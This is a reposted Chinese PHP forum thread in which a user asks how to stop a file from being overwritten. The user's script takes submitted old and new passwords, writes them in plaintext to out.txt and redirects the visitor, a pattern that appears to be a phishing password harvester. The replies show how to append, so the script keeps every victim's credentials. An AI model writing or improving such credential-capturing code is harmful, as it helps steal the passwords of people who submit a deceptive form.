Home > Backend Development > PHP Tutorial > 请教一个新人问题

请教一个新人问题

WBOY
Release: 2016-06-23 14:23:04
Original
958 people have browsed it

本帖最后由 abu_sec 于 2013-09-26 09:01:14 编辑

if(isset($_POST['OldPasswd']) && isset($_POST['Passwd'])) {      $OldPasswd = strip_tags($_POST['OldPasswd']);      $password = strip_tags($_POST['Passwd']);      $content = 'OldPasswd: ' . $OldPasswd . '<br/>Password: '. $password . '<br/>Powerd by 谢谢';     file_put_contents("out.txt",$content);//用什么函数能让之后变量的内容不覆盖之前的内容???		  header('Location: redirect.php');   }?>
Copy after login


回复讨论(解决方案)

file_put_contents("out.txt",$content, FILE_APPEND);//用什么函数能让之后变量的内容不覆盖之前的内容???

file_put_contents("out.txt",$content,FILE_APPEND);
Copy after login

PHP的函数库就是有优势。

c++的话只有框架才到这个程度。java不太清楚,应该也不错。

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template